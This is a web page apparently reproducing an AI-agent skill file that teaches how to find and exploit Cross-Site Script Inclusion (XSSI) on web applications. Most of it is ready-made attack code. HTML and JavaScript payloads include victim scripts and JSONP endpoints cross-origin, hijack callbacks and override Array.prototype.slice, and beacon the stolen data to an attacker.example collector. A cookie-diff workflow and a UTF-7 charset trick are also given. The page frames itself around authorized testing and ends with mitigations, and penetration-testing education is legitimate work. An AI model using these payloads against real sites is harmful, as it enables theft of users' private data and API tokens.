exploiting-cross-site-script-inclusion-xssi

$npx mdskill add xalgord/xalgorix/exploiting-cross-site-script-inclusion-xssi

- During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a `<script>` tag - When an authenticated endpoint embeds user-specific data into a JS file or global variable - When the application exposes a JSONP callback parameter (`?callback=`, `?jsonp=`) - When sensitive data (CSV, JSON) is served with a permissive `Content-Type` and no anti-inclusion guard - When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP

SKILL.md

.github/skills/exploiting-cross-site-script-inclusion-xssiView on GitHub ↗
---
name: exploiting-cross-site-script-inclusion-xssi
description: Identifying and exploiting Cross-Site Script Inclusion (XSSI), where the script tag's exemption from the
  Same-Origin Policy lets an attacker include a victim endpoint cross-origin (with the victim's ambient cookies) and
  read sensitive data from static scripts, dynamic JS, JSONP responses, or non-JS files (CSV) included as scripts.
  Activates when assessing endpoints that return JS/JSONP or data reachable via a script tag.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- xssi
- jsonp
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Cross-Site Script Inclusion (XSSI)

## When to Use

- During authorized assessments of endpoints that return JavaScript, JSONP, or data consumable via a `<script>` tag
- When an authenticated endpoint embeds user-specific data into a JS file or global variable
- When the application exposes a JSONP callback parameter (`?callback=`, `?jsonp=`)
- When sensitive data (CSV, JSON) is served with a permissive `Content-Type` and no anti-inclusion guard
- When evaluating whether endpoints rely on cookies (ambient authority) and lack CSRF-style tokens or CORB/CORP

## Prerequisites

- **Authorization**: Engagement scope covering cross-origin data disclosure with a logged-in victim test account
- **Attacker-controlled origin**: A page you host to include the victim script and capture leaked data
- **Burp Suite + DetectDynamicJS**: To diff responses with/without cookies and find dynamic (state-dependent) JS
- **Modern + legacy browser matrix**: Some variants (UTF-7) only work in specific/older browsers
- **OOB collector**: An endpoint to receive exfiltrated values

## Critical: Variants Most Often Missed

XSSI is more than "leak a global variable". The four categories below each have
distinct exploitation paths.

```text
# 1. Regular / static JS with secrets in globals
#    Include the script, then read the global it defines.

# 2. Dynamic JS (secret added based on the user's session)
#    Detect by diffing the response WITH vs WITHOUT cookies (DetectDynamicJS).

# 3. JSONP callback hijack
#    Define the callback function (or object path) yourself before including.

# 4. Non-JS files included as scripts (CSV/JSON), UTF-7 charset escape.
```

Static-global leak:

```html
<script src="https://victim.example/script.js"></script>
<script>
  // The included script defined confidential_keys in the global scope
  navigator.sendBeacon("//attacker.example/leak", JSON.stringify(confidential_keys[0]));
</script>
```

JSONP callback hijack (define the callback path you control):

```html
<script>
  var angular = function(){ return 1; };
  angular.callbacks = function(){ return 1; };
  angular.callbacks._7 = function(leaked){
    new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(leaked));
  };
</script>
<script src="https://victim.example/p?jsonp=angular.callbacks._7"></script>

<!-- simpler global callback -->
<script>
  function leak(leaked){ new Image().src="//attacker.example/?d="+encodeURIComponent(JSON.stringify(leaked)); }
</script>
<script src="https://victim.example/p?jsonp=leak"></script>
```

Prototype tampering for non-global secrets (override built-ins to capture data):

```javascript
Array.prototype.slice = function () {
  // leaks the array contents the victim script processes, e.g. ["secret1","secret2"]
  new Image().src = "//attacker.example/?d=" + encodeURIComponent(JSON.stringify(this));
};
```

Non-JS (CSV) inclusion and UTF-7 JSON escape:

```html
<!-- CSV/JSON leaked by being parsed as script in some engines -->
<script src="https://victim.example/export.csv"></script>

<!-- UTF-7 charset forces JSON to be interpreted as script in certain browsers -->
<script src="https://victim.example/json-utf7.json" charset="UTF-7"></script>
```

### How to CONFIRM a hit (avoid false negatives)

- **Static/global**: after the cross-origin `<script>` loads, the global variable/object it defines is readable from your page (`typeof confidential_keys !== 'undefined'`) and contains real victim data. Confirm by beaconing the value.
- **Dynamic JS**: the response BODY differs when the request carries the victim's cookies vs when it does not (DetectDynamicJS). The cookie-bearing version contains the secret — this is the exploitable case.
- **JSONP**: your defined callback fires with the victim's data as its argument. Confirm by logging/beaconing the argument and seeing account-scoped content.
- **Non-JS / UTF-7**: the parser raises a usable error/executes attacker JS, or the data becomes reachable; confirm in the specific browser where it works.
- Always run the exploit in a logged-in victim browser session and verify the leaked data is genuinely private (belongs to the victim, not the attacker).

## Workflow

### Step 1: Find Script/JSONP/Data Endpoints
```bash
# Look for .js endpoints, JSONP callbacks, and data exports
grep -rEi "callback=|jsonp=|\.js(\?|$)|export\.csv|/api/.*\.json" proxy-history.txt
```
Note which endpoints require authentication and which echo a callback parameter.

### Step 2: Detect Dynamic (State-Dependent) JS
```bash
# Compare the response with and without the session cookie
curl -s https://victim.example/profile.js > anon.js
curl -s -H "Cookie: session=<victim>" https://victim.example/profile.js > auth.js
diff anon.js auth.js   # differences => dynamic XSSI candidate
```
Or use the Burp **DetectDynamicJS** extension to flag responses that vary by auth state.

### Step 3: Leak Static / Dynamic Globals
Include the script cross-origin and read the globals it defines:
```html
<script src="https://victim.example/profile.js"></script>
<script>
  for (const k of ["confidential_keys","userProfile","csrfToken"])
    if (window[k]) new Image().src="//attacker.example/?"+k+"="+encodeURIComponent(JSON.stringify(window[k]));
</script>
```

### Step 4: Hijack JSONP Callbacks
Define the exact callback name/path the endpoint expects, then include it (see payloads above). Capture the leaked argument to your OOB collector.

### Step 5: Prototype Tampering for Non-Global Data
Override commonly used built-ins (`Array.prototype.slice`, etc.) before including the script so the victim script's internal data flows into your hook.

### Step 6: Non-JS / Charset Tricks
Try including CSV/JSON as a script, and test the UTF-7 charset trick in older/specific browsers to escape JSON structure and capture data.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **SOP Exemption for Scripts** | `<script src>` can load cross-origin, unlike fetch/XHR — the root of XSSI |
| **Ambient Authority** | Cross-origin script requests automatically include the victim's cookies |
| **Regular XSSI** | Secrets in a static JS file readable after inclusion via globals |
| **Dynamic XSSI** | Secrets injected based on the user's session; detected by cookie-diffing responses |
| **JSONP Hijack** | Defining the callback function/object path to capture the JSONP payload |
| **Prototype Tampering** | Overriding built-ins (e.g., `Array.prototype.slice`) to read non-global data |
| **Non-JS Inclusion** | CSV/JSON leaked by being parsed as a script; UTF-7 charset escapes JSON |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite + DetectDynamicJS** | Diff JS responses by auth state to find dynamic XSSI |
| **Attacker-hosted page + OOB collector** | Include victim scripts and capture leaked data |
| **CyberChef** | Decode/inspect leaked structures and test charset transformations |
| **grep / ripgrep** | Discover JSONP callbacks and script/data endpoints in proxy history |
| **Browser matrix (modern + legacy)** | Validate charset/UTF-7 variants that depend on the engine |

## Common Scenarios

### Scenario 1: Dynamic JS Leaks User Profile
`/account/config.js` embeds the logged-in user's email and an API token as global variables when requested with cookies. An attacker page includes it cross-origin and reads `window.userConfig`, exfiltrating the victim's token.

### Scenario 2: JSONP Callback Hijack
A search API exposes `?callback=` returning private results wrapped in the callback. The attacker defines a function named after the expected callback and includes the endpoint, capturing the victim's private search data.

### Scenario 3: CSV Export Inclusion
`/reports/export.csv` is served with a script-friendly type and no anti-inclusion guard. Including it as a `<script>` (with a charset trick) lets the attacker read rows belonging to the victim.

## Output Format

```
## XSSI Finding

**Vulnerability**: Cross-Site Script Inclusion (Dynamic JS / JSONP data leak)
**Severity**: High (CVSS 7.5)
**Location**: GET /account/config.js (credentialed, dynamic)
**OWASP Category**: A01:2021 - Broken Access Control (cross-origin data disclosure)

### Reproduction Steps
1. Diff /account/config.js with vs without session cookie -> body differs (dynamic)
2. Host attacker page including <script src="https://victim.example/account/config.js">
3. Read global window.userConfig defined by the script
4. Beacon the value to attacker collector; confirmed victim email + API token leaked

### Evidence
| Check | Result |
|-------|--------|
| Cookie-diff | response body differs by auth state |
| Leaked global | userConfig = { email, apiToken } |
| Victim-scoped | matches victim account, not attacker |

### Impact
Any site the victim visits can read the victim's private profile data and API
token cross-origin, enabling account compromise.

### Recommendation
1. Do not embed sensitive data in JS/JSONP responses; return data via JSON over fetch with CORS, not script inclusion
2. Require a non-cookie token (anti-CSRF) for sensitive data endpoints
3. Prefix JSON with an infinite loop / `)]}'` and parse server-trusted; reject script-tag inclusion
4. Send `X-Content-Type-Options: nosniff` and correct `Content-Type`; deploy CORB/CORP
5. Remove or authenticate JSONP callbacks; avoid serving CSV/data with script-executable types
```

More from xalgord/xalgorix